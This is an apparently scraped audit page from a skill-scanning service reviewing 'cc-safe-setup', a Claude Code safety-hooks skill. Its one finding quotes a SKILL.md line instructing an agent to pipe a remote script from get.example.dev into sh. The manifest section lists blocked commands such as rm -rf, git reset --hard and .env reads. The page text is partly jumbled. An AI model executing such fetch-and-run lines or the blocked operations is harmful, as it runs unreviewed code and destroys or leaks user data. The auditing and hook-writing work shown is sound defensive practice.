cc-safe-setup-e3b0c4 — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited cc-safe-setup-e3b0c4 (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Safety-first configuration for Claude Code. Prevents the accidents that happen when AI writes code autonomously.
Installs pre-built safety hooks into your Claude Code environment. These hooks run automatically before/after tool calls to block dangerous operations.
Categories:
rm -rf, prevent overwriting files outside projectreset --hard.env files from being committed or read by AInpx github:yurukusa/cc-safe-setupThis runs an interactive wizard that configures hooks based on your risk profile.
npx github:yurukusa/cc-safe-setup --install-example large-read-guard
npx github:yurukusa/cc-safe-setup --install-example prevent-rm-rf
npx github:yurukusa/cc-safe-setup --install-example git-force-push-blockRules in CLAUDE.md are suggestions — Claude can forget them. Hooks are enforced at the system level. A hook that blocks rm -rf cannot be overridden by the AI.
From 800+ hours of autonomous operation: the hooks that matter most are the ones you don't notice until something goes wrong.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.